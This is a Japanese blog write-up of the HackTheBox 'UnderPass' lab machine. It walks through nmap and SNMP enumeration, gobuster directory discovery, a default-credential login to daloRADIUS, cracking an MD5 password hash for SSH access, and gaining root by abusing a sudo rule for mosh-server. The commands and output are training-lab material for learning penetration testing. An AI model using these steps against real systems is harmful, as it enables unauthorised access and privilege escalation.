2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup: UnderPass

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、UnderPassです。

UnderPassでは、ポートスキャンや列挙スキルについて学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 22:59 JST
Nmap scan report for underpass.htb (10.10.11.48)
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.64 seconds
Scan completed

上記ポートスキャンの結果よりApacheのトップページを調べて見たものの、特に情報は得られませんでした。

スクリーンショット 2025-01-12 23.00.58.png

再度、UDPスキャンを行なったところを161番ポートを検出しました。

$ sudo nmap -sS -sU -PN --min-rate=1000 -T5 10.10.11.48

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 23:02 JST
Warning: 10.10.11.48 giving up on port because retransmission cap hit (2).
Nmap scan report for underpass.htb (10.10.11.48)
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset), 8 closed udp ports (port-unreach), 991 open|filtered udp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 5.25 seconds

列挙

ポートスキャンの結果を踏まえて、161番ポートのSNMPを基に列挙を行います。

SNMP

再度161番ポートに対して、ポートスキャンを行いSNMPのバージョンなどを確認します。

$ sudo nmap -sU -sV -p 161 10.10.11.48

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 23:03 JST
Nmap scan report for underpass.htb (10.10.11.48)
Host is up (0.27s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: UnDerPass.htb is the only daloradius server in the basin!

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.11 seconds

上記結果よりsnmpwalkを実行して、更なる情報を取得します。

$ snmpwalk -v1 -c public 10.10.11.48

iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (42325) 0:07:03.25
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (44307) 0:07:23.07
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 01 0C 0E 04 19 00 2B 00 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 1
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 228
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB

snmpwalkの実行結果よりdaloRADIUSのサービスについて確認できました。

コンテンツ探索

daloRADIUSの画面を検出するため、gobusterを用いてコンテンツ探索を行います。

# gobuster dir -u http://underpass.htb/daloradius/ -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://underpass.htb/daloradius/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/app                  (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/app/]
/ChangeLog            (Status: 200) [Size: 24703]
/contrib              (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/contrib/]
/doc                  (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/doc/]
/library              (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/library/]
/LICENSE              (Status: 200) [Size: 18011]
/setup                (Status: 301) [Size: 325] [--> http://underpass.htb/daloradius/setup/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

/appディレクトリを検出したので、引き続きワードリストを変更して探索します。

$ gobuster dir -u http://underpass.htb/daloradius/app/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://underpass.htb/daloradius/app/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/common               (Status: 301) [Size: 330] [--> http://underpass.htb/daloradius/app/common/]
/users                (Status: 301) [Size: 329] [--> http://underpass.htb/daloradius/app/users/]
/operators            (Status: 301) [Size: 333] [--> http://underpass.htb/daloradius/app/operators/]

上記結果より/usersディレクトリにアクセスすると、ログイン画面がありますが、ログインできません。

なお、/operatorsディレクトリについてはアクセスすると、login.phpページにリダイレクトされてまた別のログイン画面に遷移します。

スクリーンショット 2025-01-12 23.06.29.png

脆弱性分析

デフォルトの認証情報を用いてログインを試みます。

スクリーンショット 2025-01-12 23.07.15.png

ログインに成功し、Home画面が確認できます。

スクリーンショット 2025-01-12 23.07.20.png

「Management」の「List Users」を確認すると、svcMoshユーザーの認証情報が確認できました。

スクリーンショット 2025-01-12 23.07.30.png

MD5形式でハッシュ化されているため、ハッシュ値を解析すると、パスワードが確認できます。

システムハッキング

取得した認証情報を用いてアクセスします。

ユーザーフラグ

svcMoshユーザー及び解析したハッシュ値のパスワードを使用してSSHログインを行います。

SSH接続後、ユーザーフラグが確認できます。

# ssh svcMosh@underpass.htb

total 32
drwxr-x--- 4 svcMosh svcMosh 4096 Dec 11 16:06 ./
drwxr-xr-x 3 root    root    4096 Dec 11 16:06 ../
lrwxrwxrwx 1 root    root       9 Sep 22 23:59 .bash_history -> /dev/null
-rw-r--r-- 1 svcMosh svcMosh  220 Sep  7 23:03 .bash_logout
-rw-r--r-- 1 svcMosh svcMosh 3771 Sep  7 23:03 .bashrc
drwx------ 2 svcMosh svcMosh 4096 Dec 11 16:06 .cache/
-rw-r--r-- 1 svcMosh svcMosh  807 Sep  7 23:03 .profile
drwxr-xr-x 2 svcMosh svcMosh 4096 Dec 11 16:06 .ssh/
-rw-r----- 1 root    svcMosh   33 Jan 12 13:57 user.txt

ルートフラグ

sudoの設定を確認すると、SSHの代替であるMoshのmosh-serverを使用できることが分かります。

Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

sudoで/usr/bin/mosh-serverを実行します。

# sudo /usr/bin/mosh-server

MOSH CONNECT 60001 o7lsXkFe8S8bW/x6y2f3Cg

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 1744]

上記情報を基にMOSH_KEYを設定して、mosh-clientで接続します。

# MOSH_KEY=o7lsXkFe8S8bW/x6y2f3Cg mosh-client 127.0.0.1 60001

ルートに昇格できました。

root@underpass:~# id
uid=0(root) gid=0(root) groups=0(root)

おわりに

daloRADIUSやMoshなどソフトウェアn学びました。

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?